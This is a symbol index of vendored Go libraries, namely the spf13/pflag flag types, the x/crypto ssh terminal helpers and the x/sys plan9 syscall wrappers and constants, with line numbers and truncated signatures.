method StringVarP (line 41) | func (f *FlagSet) StringVarP(p *string, name, shorthand string, value st...
function StringVar (line 47) | func StringVar(p *string, name string, value string, usage string) {
function StringVarP (line 52) | func StringVarP(p *string, name, shorthand string, value string, usage s...
method String (line 58) | func (f *FlagSet) String(name string, value string, usage string) *string {
method StringP (line 65) | func (f *FlagSet) StringP(name, shorthand string, value string, usage st...
function String (line 73) | func String(name string, value string, usage string) *string {
function StringP (line 78) | func StringP(name, shorthand string, value string, usage string) *string {
FILE: vendor/github.com/spf13/pflag/string_array.go
type stringArrayValue (line 4) | type stringArrayValue struct
method Set (line 16) | func (s *stringArrayValue) Set(val string) error {
method Append (line 26) | func (s *stringArrayValue) Append(val string) error {
method Replace (line 31) | func (s *stringArrayValue) Replace(val []string) error {
method GetSlice (line 44) | func (s *stringArrayValue) GetSlice() []string {
method Type (line 52) | func (s *stringArrayValue) Type() string {
method String (line 56) | func (s *stringArrayValue) String() string {
function newStringArrayValue (line 9) | func newStringArrayValue(val []string, p *[]string) *stringArrayValue {
function stringArrayConv (line 61) | func stringArrayConv(sval string) (interface{}, error) {
method GetStringArray (line 71) | func (f *FlagSet) GetStringArray(name string) ([]string, error) {
method StringArrayVar (line 82) | func (f *FlagSet) StringArrayVar(p *[]string, name string, value []strin...
method StringArrayVarP (line 87) | func (f *FlagSet) StringArrayVarP(p *[]string, name, shorthand string, v...
function StringArrayVar (line 94) | func StringArrayVar(p *[]string, name string, value []string, usage stri...
function StringArrayVarP (line 99) | func StringArrayVarP(p *[]string, name, shorthand string, value []string...
method StringArray (line 106) | func (f *FlagSet) StringArray(name string, value []string, usage string)...
method StringArrayP (line 113) | func (f *FlagSet) StringArrayP(name, shorthand string, value []string, u...
function StringArray (line 122) | func StringArray(name string, value []string, usage string) *[]string {
function StringArrayP (line 127) | func StringArrayP(name, shorthand string, value []string, usage string) ...
FILE: vendor/github.com/spf13/pflag/string_slice.go
type stringSliceValue (line 10) | type stringSliceValue struct
method Set (line 42) | func (s *stringSliceValue) Set(val string) error {
method Type (line 56) | func (s *stringSliceValue) Type() string {
method String (line 60) | func (s *stringSliceValue) String() string {
method Append (line 65) | func (s *stringSliceValue) Append(val string) error {
method Replace (line 70) | func (s *stringSliceValue) Replace(val []string) error {
method GetSlice (line 75) | func (s *stringSliceValue) GetSlice() []string {
function newStringSliceValue (line 15) | func newStringSliceValue(val []string, p *[]string) *stringSliceValue {
function readAsCSV (line 22) | func readAsCSV(val string) ([]string, error) {
function writeAsCSV (line 31) | func writeAsCSV(vals []string) (string, error) {
function stringSliceConv (line 79) | func stringSliceConv(sval string) (interface{}, error) {
method GetStringSlice (line 89) | func (f *FlagSet) GetStringSlice(name string) ([]string, error) {
method StringSliceVar (line 104) | func (f *FlagSet) StringSliceVar(p *[]string, name string, value []strin...
method StringSliceVarP (line 109) | func (f *FlagSet) StringSliceVarP(p *[]string, name, shorthand string, v...
function StringSliceVar (line 120) | func StringSliceVar(p *[]string, name string, value []string, usage stri...
function StringSliceVarP (line 125) | func StringSliceVarP(p *[]string, name, shorthand string, value []string...
method StringSlice (line 136) | func (f *FlagSet) StringSlice(name string, value []string, usage string)...
method StringSliceP (line 143) | func (f *FlagSet) StringSliceP(name, shorthand string, value []string, u...
function StringSlice (line 156) | func StringSlice(name string, value []string, usage string) *[]string {
function StringSliceP (line 161) | func StringSliceP(name, shorthand string, value []string, usage string) ...
FILE: vendor/github.com/spf13/pflag/string_to_int.go
type stringToIntValue (line 11) | type stringToIntValue struct
method Set (line 24) | func (s *stringToIntValue) Set(val string) error {
method Type (line 49) | func (s *stringToIntValue) Type() string {
method String (line 53) | func (s *stringToIntValue) String() string {
function newStringToIntValue (line 16) | func newStringToIntValue(val map[string]int, p *map[string]int) *stringT...
function stringToIntConv (line 68) | func stringToIntConv(val string) (interface{}, error) {
method GetStringToInt (line 91) | func (f *FlagSet) GetStringToInt(name string) (map[string]int, error) {
method StringToIntVar (line 102) | func (f *FlagSet) StringToIntVar(p *map[string]int, name string, value m...
method StringToIntVarP (line 107) | func (f *FlagSet) StringToIntVarP(p *map[string]int, name, shorthand str...
function StringToIntVar (line 114) | func StringToIntVar(p *map[string]int, name string, value map[string]int...
function StringToIntVarP (line 119) | func StringToIntVarP(p *map[string]int, name, shorthand string, value ma...
method StringToInt (line 126) | func (f *FlagSet) StringToInt(name string, value map[string]int, usage s...
method StringToIntP (line 133) | func (f *FlagSet) StringToIntP(name, shorthand string, value map[string]...
function StringToInt (line 142) | func StringToInt(name string, value map[string]int, usage string) *map[s...
function StringToIntP (line 147) | func StringToIntP(name, shorthand string, value map[string]int, usage st...
FILE: vendor/github.com/spf13/pflag/string_to_int64.go
type stringToInt64Value (line 11) | type stringToInt64Value struct
method Set (line 24) | func (s *stringToInt64Value) Set(val string) error {
method Type (line 49) | func (s *stringToInt64Value) Type() string {
method String (line 53) | func (s *stringToInt64Value) String() string {
function newStringToInt64Value (line 16) | func newStringToInt64Value(val map[string]int64, p *map[string]int64) *s...
function stringToInt64Conv (line 68) | func stringToInt64Conv(val string) (interface{}, error) {
method GetStringToInt64 (line 91) | func (f *FlagSet) GetStringToInt64(name string) (map[string]int64, error) {
method StringToInt64Var (line 102) | func (f *FlagSet) StringToInt64Var(p *map[string]int64, name string, val...
method StringToInt64VarP (line 107) | func (f *FlagSet) StringToInt64VarP(p *map[string]int64, name, shorthand...
function StringToInt64Var (line 114) | func StringToInt64Var(p *map[string]int64, name string, value map[string...
function StringToInt64VarP (line 119) | func StringToInt64VarP(p *map[string]int64, name, shorthand string, valu...
method StringToInt64 (line 126) | func (f *FlagSet) StringToInt64(name string, value map[string]int64, usa...
method StringToInt64P (line 133) | func (f *FlagSet) StringToInt64P(name, shorthand string, value map[strin...
function StringToInt64 (line 142) | func StringToInt64(name string, value map[string]int64, usage string) *m...
function StringToInt64P (line 147) | func StringToInt64P(name, shorthand string, value map[string]int64, usag...
FILE: vendor/github.com/spf13/pflag/string_to_string.go
type stringToStringValue (line 11) | type stringToStringValue struct
method Set (line 24) | func (s *stringToStringValue) Set(val string) error {
method Type (line 60) | func (s *stringToStringValue) Type() string {
method String (line 64) | func (s *stringToStringValue) String() string {
function newStringToStringValue (line 16) | func newStringToStringValue(val map[string]string, p *map[string]string)...
function stringToStringConv (line 79) | func stringToStringConv(val string) (interface{}, error) {
method GetStringToString (line 102) | func (f *FlagSet) GetStringToString(name string) (map[string]string, err...
method StringToStringVar (line 113) | func (f *FlagSet) StringToStringVar(p *map[string]string, name string, v...
method StringToStringVarP (line 118) | func (f *FlagSet) StringToStringVarP(p *map[string]string, name, shortha...
function StringToStringVar (line 125) | func StringToStringVar(p *map[string]string, name string, value map[stri...
function StringToStringVarP (line 130) | func StringToStringVarP(p *map[string]string, name, shorthand string, va...
method StringToString (line 137) | func (f *FlagSet) StringToString(name string, value map[string]string, u...
method StringToStringP (line 144) | func (f *FlagSet) StringToStringP(name, shorthand string, value map[stri...
function StringToString (line 153) | func StringToString(name string, value map[string]string, usage string) ...
function StringToStringP (line 158) | func StringToStringP(name, shorthand string, value map[string]string, us...
FILE: vendor/github.com/spf13/pflag/uint.go
type uintValue (line 6) | type uintValue
method Set (line 13) | func (i *uintValue) Set(s string) error {
method Type (line 19) | func (i *uintValue) Type() string {
method String (line 23) | func (i *uintValue) String() string { return strconv.FormatUint(uint64...
function newUintValue (line 8) | func newUintValue(val uint, p *uint) *uintValue {
function uintConv (line 25) | func uintConv(sval string) (interface{}, error) {
method GetUint (line 34) | func (f *FlagSet) GetUint(name string) (uint, error) {
method UintVar (line 44) | func (f *FlagSet) UintVar(p *uint, name string, value uint, usage string) {
method UintVarP (line 49) | func (f *FlagSet) UintVarP(p *uint, name, shorthand string, value uint, ...
function UintVar (line 55) | func UintVar(p *uint, name string, value uint, usage string) {
function UintVarP (line 60) | func UintVarP(p *uint, name, shorthand string, value uint, usage string) {
method Uint (line 66) | func (f *FlagSet) Uint(name string, value uint, usage string) *uint {
method UintP (line 73) | func (f *FlagSet) UintP(name, shorthand string, value uint, usage string...
function Uint (line 81) | func Uint(name string, value uint, usage string) *uint {
function UintP (line 86) | func UintP(name, shorthand string, value uint, usage string) *uint {
FILE: vendor/github.com/spf13/pflag/uint16.go
type uint16Value (line 6) | type uint16Value
method Set (line 13) | func (i *uint16Value) Set(s string) error {
method Type (line 19) | func (i *uint16Value) Type() string {
method String (line 23) | func (i *uint16Value) String() string { return strconv.FormatUint(uint...
function newUint16Value (line 8) | func newUint16Value(val uint16, p *uint16) *uint16Value {
function uint16Conv (line 25) | func uint16Conv(sval string) (interface{}, error) {
method GetUint16 (line 34) | func (f *FlagSet) GetUint16(name string) (uint16, error) {
method Uint16Var (line 44) | func (f *FlagSet) Uint16Var(p *uint16, name string, value uint16, usage ...
method Uint16VarP (line 49) | func (f *FlagSet) Uint16VarP(p *uint16, name, shorthand string, value ui...
function Uint16Var (line 55) | func Uint16Var(p *uint16, name string, value uint16, usage string) {
function Uint16VarP (line 60) | func Uint16VarP(p *uint16, name, shorthand string, value uint16, usage s...
method Uint16 (line 66) | func (f *FlagSet) Uint16(name string, value uint16, usage string) *uint16 {
method Uint16P (line 73) | func (f *FlagSet) Uint16P(name, shorthand string, value uint16, usage st...
function Uint16 (line 81) | func Uint16(name string, value uint16, usage string) *uint16 {
function Uint16P (line 86) | func Uint16P(name, shorthand string, value uint16, usage string) *uint16 {
FILE: vendor/github.com/spf13/pflag/uint32.go
type uint32Value (line 6) | type uint32Value
method Set (line 13) | func (i *uint32Value) Set(s string) error {
method Type (line 19) | func (i *uint32Value) Type() string {
method String (line 23) | func (i *uint32Value) String() string { return strconv.FormatUint(uint...
function newUint32Value (line 8) | func newUint32Value(val uint32, p *uint32) *uint32Value {
function uint32Conv (line 25) | func uint32Conv(sval string) (interface{}, error) {
method GetUint32 (line 34) | func (f *FlagSet) GetUint32(name string) (uint32, error) {
method Uint32Var (line 44) | func (f *FlagSet) Uint32Var(p *uint32, name string, value uint32, usage ...
method Uint32VarP (line 49) | func (f *FlagSet) Uint32VarP(p *uint32, name, shorthand string, value ui...
function Uint32Var (line 55) | func Uint32Var(p *uint32, name string, value uint32, usage string) {
function Uint32VarP (line 60) | func Uint32VarP(p *uint32, name, shorthand string, value uint32, usage s...
method Uint32 (line 66) | func (f *FlagSet) Uint32(name string, value uint32, usage string) *uint32 {
method Uint32P (line 73) | func (f *FlagSet) Uint32P(name, shorthand string, value uint32, usage st...
function Uint32 (line 81) | func Uint32(name string, value uint32, usage string) *uint32 {
function Uint32P (line 86) | func Uint32P(name, shorthand string, value uint32, usage string) *uint32 {
FILE: vendor/github.com/spf13/pflag/uint64.go
type uint64Value (line 6) | type uint64Value
method Set (line 13) | func (i *uint64Value) Set(s string) error {
method Type (line 19) | func (i *uint64Value) Type() string {
method String (line 23) | func (i *uint64Value) String() string { return strconv.FormatUint(uint...
function newUint64Value (line 8) | func newUint64Value(val uint64, p *uint64) *uint64Value {
function uint64Conv (line 25) | func uint64Conv(sval string) (interface{}, error) {
method GetUint64 (line 34) | func (f *FlagSet) GetUint64(name string) (uint64, error) {
method Uint64Var (line 44) | func (f *FlagSet) Uint64Var(p *uint64, name string, value uint64, usage ...
method Uint64VarP (line 49) | func (f *FlagSet) Uint64VarP(p *uint64, name, shorthand string, value ui...
function Uint64Var (line 55) | func Uint64Var(p *uint64, name string, value uint64, usage string) {
function Uint64VarP (line 60) | func Uint64VarP(p *uint64, name, shorthand string, value uint64, usage s...
method Uint64 (line 66) | func (f *FlagSet) Uint64(name string, value uint64, usage string) *uint64 {
method Uint64P (line 73) | func (f *FlagSet) Uint64P(name, shorthand string, value uint64, usage st...
function Uint64 (line 81) | func Uint64(name string, value uint64, usage string) *uint64 {
function Uint64P (line 86) | func Uint64P(name, shorthand string, value uint64, usage string) *uint64 {
FILE: vendor/github.com/spf13/pflag/uint8.go
type uint8Value (line 6) | type uint8Value
method Set (line 13) | func (i *uint8Value) Set(s string) error {
method Type (line 19) | func (i *uint8Value) Type() string {
method String (line 23) | func (i *uint8Value) String() string { return strconv.FormatUint(uint6...
function newUint8Value (line 8) | func newUint8Value(val uint8, p *uint8) *uint8Value {
function uint8Conv (line 25) | func uint8Conv(sval string) (interface{}, error) {
method GetUint8 (line 34) | func (f *FlagSet) GetUint8(name string) (uint8, error) {
method Uint8Var (line 44) | func (f *FlagSet) Uint8Var(p *uint8, name string, value uint8, usage str...
method Uint8VarP (line 49) | func (f *FlagSet) Uint8VarP(p *uint8, name, shorthand string, value uint...
function Uint8Var (line 55) | func Uint8Var(p *uint8, name string, value uint8, usage string) {
function Uint8VarP (line 60) | func Uint8VarP(p *uint8, name, shorthand string, value uint8, usage stri...
method Uint8 (line 66) | func (f *FlagSet) Uint8(name string, value uint8, usage string) *uint8 {
method Uint8P (line 73) | func (f *FlagSet) Uint8P(name, shorthand string, value uint8, usage stri...
function Uint8 (line 81) | func Uint8(name string, value uint8, usage string) *uint8 {
function Uint8P (line 86) | func Uint8P(name, shorthand string, value uint8, usage string) *uint8 {
FILE: vendor/github.com/spf13/pflag/uint_slice.go
type uintSliceValue (line 10) | type uintSliceValue struct
method Set (line 22) | func (s *uintSliceValue) Set(val string) error {
method Type (line 41) | func (s *uintSliceValue) Type() string {
method String (line 45) | func (s *uintSliceValue) String() string {
method fromString (line 53) | func (s *uintSliceValue) fromString(val string) (uint, error) {
method toString (line 61) | func (s *uintSliceValue) toString(val uint) string {
method Append (line 65) | func (s *uintSliceValue) Append(val string) error {
method Replace (line 74) | func (s *uintSliceValue) Replace(val []string) error {
method GetSlice (line 87) | func (s *uintSliceValue) GetSlice() []string {
function newUintSliceValue (line 15) | func newUintSliceValue(val []uint, p *[]uint) *uintSliceValue {
function uintSliceConv (line 95) | func uintSliceConv(val string) (interface{}, error) {
method GetUintSlice (line 114) | func (f *FlagSet) GetUintSlice(name string) ([]uint, error) {
method UintSliceVar (line 124) | func (f *FlagSet) UintSliceVar(p *[]uint, name string, value []uint, usa...
method UintSliceVarP (line 129) | func (f *FlagSet) UintSliceVarP(p *[]uint, name, shorthand string, value...
function UintSliceVar (line 135) | func UintSliceVar(p *[]uint, name string, value []uint, usage string) {
function UintSliceVarP (line 140) | func UintSliceVarP(p *[]uint, name, shorthand string, value []uint, usag...
method UintSlice (line 146) | func (f *FlagSet) UintSlice(name string, value []uint, usage string) *[]...
method UintSliceP (line 153) | func (f *FlagSet) UintSliceP(name, shorthand string, value []uint, usage...
function UintSlice (line 161) | func UintSlice(name string, value []uint, usage string) *[]uint {
function UintSliceP (line 166) | func UintSliceP(name, shorthand string, value []uint, usage string) *[]u...
FILE: vendor/golang.org/x/crypto/ssh/terminal/terminal.go
function NewTerminal (line 29) | func NewTerminal(c io.ReadWriter, prompt string) *Terminal {
function IsTerminal (line 43) | func IsTerminal(fd int) bool {
function ReadPassword (line 50) | func ReadPassword(fd int) ([]byte, error) {
function MakeRaw (line 57) | func MakeRaw(fd int) (*State, error) {
function Restore (line 63) | func Restore(fd int, oldState *State) error {
function GetState (line 69) | func GetState(fd int) (*State, error) {
function GetSize (line 74) | func GetSize(fd int) (width, height int, err error) {
FILE: vendor/golang.org/x/sys/internal/unsafeheader/unsafeheader.go
type Slice (line 19) | type Slice struct
type String (line 27) | type String struct
FILE: vendor/golang.org/x/sys/plan9/const_plan9.go
constant O_RDONLY (line 7) | O_RDONLY = 0
constant O_WRONLY (line 8) | O_WRONLY = 1
constant O_RDWR (line 9) | O_RDWR = 2
constant O_TRUNC (line 10) | O_TRUNC = 16
constant O_CLOEXEC (line 11) | O_CLOEXEC = 32
constant O_EXCL (line 12) | O_EXCL = 0x1000
constant RFNAMEG (line 17) | RFNAMEG = 1 << 0
constant RFENVG (line 18) | RFENVG = 1 << 1
constant RFFDG (line 19) | RFFDG = 1 << 2
constant RFNOTEG (line 20) | RFNOTEG = 1 << 3
constant RFPROC (line 21) | RFPROC = 1 << 4
constant RFMEM (line 22) | RFMEM = 1 << 5
constant RFNOWAIT (line 23) | RFNOWAIT = 1 << 6
constant RFCNAMEG (line 24) | RFCNAMEG = 1 << 10
constant RFCENVG (line 25) | RFCENVG = 1 << 11
constant RFCFDG (line 26) | RFCFDG = 1 << 12
constant RFREND (line 27) | RFREND = 1 << 13
constant RFNOMNT (line 28) | RFNOMNT = 1 << 14
constant QTDIR (line 33) | QTDIR = 0x80
constant QTAPPEND (line 34) | QTAPPEND = 0x40
constant QTEXCL (line 35) | QTEXCL = 0x20
constant QTMOUNT (line 36) | QTMOUNT = 0x10
constant QTAUTH (line 37) | QTAUTH = 0x08
constant QTTMP (line 38) | QTTMP = 0x04
constant QTFILE (line 39) | QTFILE = 0x00
constant DMDIR (line 44) | DMDIR = 0x80000000
constant DMAPPEND (line 45) | DMAPPEND = 0x40000000
constant DMEXCL (line 46) | DMEXCL = 0x20000000
constant DMMOUNT (line 47) | DMMOUNT = 0x10000000
constant DMAUTH (line 48) | DMAUTH = 0x08000000
constant DMTMP (line 49) | DMTMP = 0x04000000
constant DMREAD (line 50) | DMREAD = 0x4
constant DMWRITE (line 51) | DMWRITE = 0x2
constant DMEXEC (line 52) | DMEXEC = 0x1
constant STATMAX (line 56) | STATMAX = 65535
constant ERRMAX (line 57) | ERRMAX = 128
constant STATFIXLEN (line 58) | STATFIXLEN = 49
constant MREPL (line 63) | MREPL = 0x0000
constant MBEFORE (line 64) | MBEFORE = 0x0001
constant MAFTER (line 65) | MAFTER = 0x0002
constant MORDER (line 66) | MORDER = 0x0003
constant MCREATE (line 67) | MCREATE = 0x0004
constant MCACHE (line 68) | MCACHE = 0x0010
constant MMASK (line 69) | MMASK = 0x0017
FILE: vendor/golang.org/x/sys/plan9/dir_plan9.go
type Qid (line 18) | type Qid struct
type Dir (line 25) | type Dir struct
method Null (line 58) | func (d *Dir) Null() { *d = nullDir }
method Marshal (line 63) | func (d *Dir) Marshal(b []byte) (n int, err error) {
function UnmarshalDir (line 98) | func UnmarshalDir(b []byte) (*Dir, error) {
function pbit8 (line 139) | func pbit8(b []byte, v uint8) []byte {
function pbit16 (line 145) | func pbit16(b []byte, v uint16) []byte {
function pbit32 (line 152) | func pbit32(b []byte, v uint32) []byte {
function pbit64 (line 161) | func pbit64(b []byte, v uint64) []byte {
function pstring (line 175) | func pstring(b []byte, s string) []byte {
function gbit8 (line 182) | func gbit8(b []byte) (uint8, []byte) {
function gbit16 (line 187) | func gbit16(b []byte) (uint16, []byte) {
function gbit32 (line 192) | func gbit32(b []byte) (uint32, []byte) {
function gbit64 (line 197) | func gbit64(b []byte) (uint64, []byte) {
function gstring (line 206) | func gstring(b []byte) (string, []byte, bool) {
FILE: vendor/golang.org/x/sys/plan9/env_plan9.go
function Getenv (line 13) | func Getenv(key string) (value string, found bool) {
function Setenv (line 17) | func Setenv(key, value string) error {
function Clearenv (line 21) | func Clearenv() {
function Environ (line 25) | func Environ() []string {
function Unsetenv (line 29) | func Unsetenv(key string) error {
FILE: vendor/golang.org/x/sys/plan9/errors_plan9.go
constant O_CREAT (line 12) | O_CREAT = 0x02000
constant O_APPEND (line 13) | O_APPEND = 0x00400
constant O_NOCTTY (line 14) | O_NOCTTY = 0x00000
constant O_NONBLOCK (line 15) | O_NONBLOCK = 0x00000
constant O_SYNC (line 16) | O_SYNC = 0x00000
constant O_ASYNC (line 17) | O_ASYNC = 0x00000
constant S_IFMT (line 19) | S_IFMT = 0x1f000
constant S_IFIFO (line 20) | S_IFIFO = 0x1000
constant S_IFCHR (line 21) | S_IFCHR = 0x2000
constant S_IFDIR (line 22) | S_IFDIR = 0x4000
constant S_IFBLK (line 23) | S_IFBLK = 0x6000
constant S_IFREG (line 24) | S_IFREG = 0x8000
constant S_IFLNK (line 25) | S_IFLNK = 0xa000
constant S_IFSOCK (line 26) | S_IFSOCK = 0xc000
FILE: vendor/golang.org/x/sys/plan9/pwd_go15_plan9.go
function fixwd (line 12) | func fixwd() {
function Getwd (line 16) | func Getwd() (wd string, err error) {
function Chdir (line 20) | func Chdir(path string) error {
FILE: vendor/golang.org/x/sys/plan9/pwd_plan9.go
function fixwd (line 10) | func fixwd() {
function Getwd (line 13) | func Getwd() (wd string, err error) {
function Chdir (line 22) | func Chdir(path string) error {
FILE: vendor/golang.org/x/sys/plan9/race.go
constant raceenabled (line 15) | raceenabled = true
function raceAcquire (line 17) | func raceAcquire(addr unsafe.Pointer) {
function raceReleaseMerge (line 21) | func raceReleaseMerge(addr unsafe.Pointer) {
function raceReadRange (line 25) | func raceReadRange(addr unsafe.Pointer, len int) {
function raceWriteRange (line 29) | func raceWriteRange(addr unsafe.Pointer, len int) {
FILE: vendor/golang.org/x/sys/plan9/race0.go
constant raceenabled (line 14) | raceenabled = false
function raceAcquire (line 16) | func raceAcquire(addr unsafe.Pointer) {
function raceReleaseMerge (line 19) | func raceReleaseMerge(addr unsafe.Pointer) {
function raceReadRange (line 22) | func raceReadRange(addr unsafe.Pointer, len int) {
function raceWriteRange (line 25) | func raceWriteRange(addr unsafe.Pointer, len int) {
FILE: vendor/golang.org/x/sys/plan9/str.go
function itoa (line 10) | func itoa(val int) string { // do it here rather than with fmt to avoid ...
FILE: vendor/golang.org/x/sys/plan9/syscall.go
function ByteSliceFromString (line 39) | func ByteSliceFromString(s string) ([]byte, error) {
function BytePtrFromString (line 51) | func BytePtrFromString(s string) (*byte, error) {
function ByteSliceToString (line 61) | func ByteSliceToString(s []byte) string {
function BytePtrToString (line 71) | func BytePtrToString(p *byte) string {
method Unix (line 98) | func (ts *Timespec) Unix() (sec int64, nsec int64) {
method Unix (line 102) | func (tv *Timeval) Unix() (sec int64, nsec int64) {
method Nano (line 106) | func (ts *Timespec) Nano() int64 {
method Nano (line 110) | func (tv *Timeval) Nano() int64 {
function use (line 118) | func use(p unsafe.Pointer)
FILE: vendor/golang.org/x/sys/plan9/syscall_plan9.go
type Note (line 22) | type Note
method Signal (line 24) | func (n Note) Signal() {}
method String (line 26) | func (n Note) String() string {
function Syscall (line 40) | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Erro...
function Syscall6 (line 41) | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err...
function RawSyscall (line 42) | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr)
function RawSyscall6 (line 43) | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2, err uint...
function atoi (line 45) | func atoi(b []byte) (n uint) {
function cstring (line 53) | func cstring(s []byte) string {
function errstr (line 61) | func errstr() string {
function exit (line 71) | func exit(code int)
function Exit (line 73) | func Exit(code int) { exit(code) }
function readnum (line 75) | func readnum(path string) (uint, error) {
function Getpid (line 97) | func Getpid() (pid int) {
function Getppid (line 102) | func Getppid() (ppid int) {
function Read (line 107) | func Read(fd int, p []byte) (n int, err error) {
function Write (line 111) | func Write(fd int, p []byte) (n int, err error) {
function Fd2path (line 119) | func Fd2path(fd int) (path string, err error) {
function Pipe (line 131) | func Pipe(p []int) (err error) {
function seek (line 146) | func seek(placeholder uintptr, fd int, offset int64, whence int) (newoff...
function Seek (line 148) | func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
function Mkdir (line 157) | func Mkdir(path string, mode uint32) (err error) {
type Waitmsg (line 167) | type Waitmsg struct
method Exited (line 173) | func (w Waitmsg) Exited() bool { return true }
method Signaled (line 174) | func (w Waitmsg) Signaled() bool { return false }
method ExitStatus (line 176) | func (w Waitmsg) ExitStatus() int {
function Await (line 186) | func Await(w *Waitmsg) (err error) {
function Unmount (line 223) | func Unmount(name, old string) (err error) {
function Fchdir (line 251) | func Fchdir(fd int) (err error) {
type Timespec (line 261) | type Timespec struct
type Timeval (line 266) | type Timeval struct
function NsecToTimeval (line 271) | func NsecToTimeval(nsec int64) (tv Timeval) {
function nsec (line 278) | func nsec() int64 {
function Gettimeofday (line 289) | func Gettimeofday(tv *Timeval) error {
function Getpagesize (line 295) | func Getpagesize() int { return 0x1000 }
function Getegid (line 297) | func Getegid() (egid int) { return -1 }
function Geteuid (line 298) | func Geteuid() (euid int) { return -1 }
function Getgid (line 299) | func Getgid() (gid int) { return -1 }
function Getuid (line 300) | func Getuid() (uid int) { return -1 }
function Getgroups (line 302) | func Getgroups() (gids []int, err error) {
function Open (line 308) | func Open(path string, mode int) (fd int, err error) {
function Create (line 315) | func Create(path string, mode int, perm uint32) (fd int, err error) {
function Remove (line 322) | func Remove(path string) error {
function Stat (line 329) | func Stat(path string, edir []byte) (n int, err error) {
function Bind (line 336) | func Bind(name string, old string, flag int) (err error) {
function Mount (line 343) | func Mount(fd int, afd int, old string, flag int, aname string) (err err...
function Wstat (line 350) | func Wstat(path string, edir []byte) (err error) {
FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_386.go
function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
function pipe (line 29) | func pipe(p *[2]int32) (err error) {
function await (line 39) | func await(s []byte) (n int, err error) {
function open (line 56) | func open(path string, mode int) (fd int, err error) {
function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
function remove (line 88) | func remove(path string) (err error) {
function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
function bind (line 125) | func bind(name string, old string, flag int) (err error) {
function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
function chdir (line 186) | func chdir(path string) (err error) {
function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
function Close (line 246) | func Close(fd int) (err error) {
function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {
FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_amd64.go
function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
function pipe (line 29) | func pipe(p *[2]int32) (err error) {
function await (line 39) | func await(s []byte) (n int, err error) {
function open (line 56) | func open(path string, mode int) (fd int, err error) {
function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
function remove (line 88) | func remove(path string) (err error) {
function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
function bind (line 125) | func bind(name string, old string, flag int) (err error) {
function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
function chdir (line 186) | func chdir(path string) (err error) {
function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
function Close (line 246) | func Close(fd int) (err error) {
function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {
FILE: vendor/golang.org/x/sys/plan9/zsyscall_plan9_arm.go
function fd2path (line 13) | func fd2path(fd int, buf []byte) (err error) {
function pipe (line 29) | func pipe(p *[2]int32) (err error) {
function await (line 39) | func await(s []byte) (n int, err error) {
function open (line 56) | func open(path string, mode int) (fd int, err error) {
function create (line 72) | func create(path string, mode int, perm uint32) (fd int, err error) {
function remove (line 88) | func remove(path string) (err error) {
function stat (line 103) | func stat(path string, edir []byte) (n int, err error) {
function bind (line 125) | func bind(name string, old string, flag int) (err error) {
function mount (line 145) | func mount(fd int, afd int, old string, flag int, aname string) (err err...
function wstat (line 165) | func wstat(path string, edir []byte) (err error) {
function chdir (line 186) | func chdir(path string) (err error) {
function Dup (line 201) | func Dup(oldfd int, newfd int) (fd int, err error) {
function Pread (line 212) | func Pread(fd int, p []byte, offset int64) (n int, err error) {
function Pwrite (line 229) | func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
function Close (line 246) | func Close(fd int) (err error) {
function Fstat (line 256) | func Fstat(fd int, edir []byte) (n int, err error) {
function Fwstat (line 273) | func Fwstat(fd int, edir []byte) (err error) {
FILE: vendor/golang.org/x/sys/plan9/zsysnum_plan9.go
constant SYS_SYSR1 (line 7) | SYS_SYSR1 = 0
constant SYS_BIND (line 8) | SYS_BIND = 2
constant SYS_CHDIR (line 9) | SYS_CHDIR = 3
constant SYS_CLOSE (line 10) | SYS_CLOSE = 4
constant SYS_DUP (line 11) | SYS_DUP = 5
constant SYS_ALARM (line 12) | SYS_ALARM = 6
constant SYS_EXEC (line 13) | SYS_EXEC = 7
constant SYS_EXITS (line 14) | SYS_EXITS = 8
constant SYS_FAUTH (line 15) | SYS_FAUTH = 10
constant SYS_SEGBRK (line 16) | SYS_SEGBRK = 12
constant SYS_OPEN (line 17) | SYS_OPEN = 14
constant SYS_OSEEK (line 18) | SYS_OSEEK = 16
constant SYS_SLEEP (line 19) | SYS_SLEEP = 17
constant SYS_RFORK (line 20) | SYS_RFORK = 19
constant SYS_PIPE (line 21) | SYS_PIPE = 21
constant SYS_CREATE (line 22) | SYS_CREATE = 22
constant SYS_FD2PATH (line 23) | SYS_FD2PATH = 23
constant SYS_BRK_ (line 24) | SYS_BRK_ = 24
constant SYS_REMOVE (line 25) | SYS_REMOVE = 25
constant SYS_NOTIFY (line 26) | SYS_NOTIFY = 28
constant SYS_NOTED (line 27) | SYS_NOTED = 29
constant SYS_SEGATTACH (line 28) | SYS_SEGATTACH = 30
constant SYS_SEGDETACH (line 29) | SYS_SEGDETACH = 31
constant SYS_SEGFREE (line 30) | SYS_SEGFREE = 32
constant SYS_SEGFLUSH (line 31) | SYS_SEGFLUSH = 33
constant SYS_RENDEZVOUS (line 32) | SYS_RENDEZVOUS = 34
